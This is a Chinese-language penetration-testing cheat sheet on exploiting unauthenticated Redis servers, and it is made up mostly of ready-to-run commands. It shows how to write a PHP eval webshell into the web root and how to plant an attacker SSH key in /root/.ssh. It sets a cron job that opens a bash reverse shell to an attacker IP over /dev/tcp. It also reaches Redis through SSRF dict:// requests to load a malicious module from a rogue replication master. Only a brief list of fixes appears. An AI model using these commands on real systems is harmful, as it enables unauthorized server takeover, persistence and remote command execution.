redis未授权访问

利用条件

redis 绑定端口 6379,且任意IP能访问,无密码直接登录 redis,登录需要在本地安装redis

本地安装 redis

1
2
3
4
5
6
7
8
9
10
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzvf redis-2.8.17.tar.gz
cd redis-2.8.17
make
cd src
cp redis-server /usr/bin/
cp redis-cli /usr/bin/
cd ..
cp redis.conf /etc/
redis-server /etc/redis.conf

测试未授权访问

1
redis-cli -h 目标IP -p 6379

redis 写入 webshell

利用条件

存在未授权访问漏洞,并登录redis,需要知道 web 服务器目录,并有增删改查的权限

web服务器目录,需要自己根据获取路径更改

1
2
3
4
5
redis-cli -h 目标IP -p 6379
config set dir /var/www/html/ # web服务器目录,替换
config set dbfilename shell.php
set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"
save

redis 写入 SSH

利用条件

存在未授权访问漏洞,并登录redis,.ssh目录有写入的权限

原理

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

攻击机

生成 SSH 密钥,导入key.txt,再把key.txt写入redis 服务器中

1
2
3
ssh-keygen -t rsa
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt
cat /root/.ssh/key.txt | redis-cli -h 目标IP -x set xxx

登录 redis 写入ssh,文件名为 auth_keys

1
2
3
4
redis-cli -h 目标IP
config set dir /root/.ssh
config set dbfilename auth_keys
save

测试登录

1
ssh 目标IP

redis 写入计划任务 获取shell

数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell

攻击机上监听

1
nc -lvnp 5555

登录目标网站

根据不同类型的Linux需要更改路径
Centos的定时任务文件在

1
/var/spool/cron/

Ubuntu定时任务文件在

1
/var/spool/cron/crontabs/
1
2
3
4
5
redis-cli -h 目标IP
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/攻击机IP/5555 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save

稍等片刻,即可反弹

修复

  • 密码验证

  • 降权运⾏

  • 限制 ip / 修改端⼝

https://www.runoob.com/redis/redis-install.html

SSRF利用Redis 写shell

不一定是ssrf 也可以是 spring 之类的,只要能获取到redis账号密码就行。

SSRF 获取真实IP

vps 监听

1
nc -lvvp 1234

ssrf 漏洞利用点请求服务器

1
url=http://127.0.0.1:1234

去服务器上看可以看到真实IP

利用dict探测redis

1
url=dict://127.0.0.1:6379

发现开放 redis 服务

获取网站绝对路径如果是 可以根据网站特性获取

1
/www/wwwroot/hx4_triangle/application

redis 利用主从复制纯净文件

redis服务器写入shell

主服务器搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sudo yum install epel-release
sudo yum -y install redis
sudo systemctl start redis

vi /etc/redis.conf
#修改配置文件 redis.conf
bind 0.0.0.0

#将redis默认的守护关闭
protected-mode yes 修改为
protected-mode no


sudo systemctl restart redis
systemctl stop firewalld

写shell

本地redis 写入

1
2
3
4
5
flushall
set phpshell "<?php phpinfo();?>"

# flushall 清空keys*
# 写shell的 phpshell为名字

ssrf目标服务器写入

1
2
3
4
5
6
7
8
config:set:dir:/www/wwwroot/runtime/
config:set:dbfilename 1.php
slaveof:192.168.1.1:6379

#指定路径
#修改文件名
#连接服务器

蚁剑连接

使用redis利用工具

vps 下载利用工具

1
git clone https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server.git
1
2
cd Awsome-Redis-Rogue-Server/
python3 redis_rogue_server.py -v -path 1.php # 1.php 为自己写的马子

用dict写shell

1
2
3
config get dir
config set dir /var/lib/redis
config set dbfilename test.php

反弹shell

1
python3 redis_rogue_server.py -v -path module.so
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 查看当前redis的相关配置
ssrf.php?url=dict://172.16.186.4:6379/info

# 设置备份文件名
ssrf.php?url=dict://172.16.186.4:6379/config:set:dbfilename:exp.so

# 连接恶意Redis服务器
ssrf.php?url=dict://172.16.186.4:6379/slaveof:192.168.0.107:1234

# 加载恶意模块
ssrf.php?url=dict://172.16.186.4:6379/module:load:./exp.so

# 切断主从复制
ssrf.php?url=dict://172.16.186.4:6379/slaveof:no:one

# 执行系统命令
ssrf.php?url=dict://172.16.186.4:6379/redisruntime.rev:192.168.0.107:1234

https://juejin.cn/post/6860666710920265741

https://www.t00ls.cc/articles-56339.html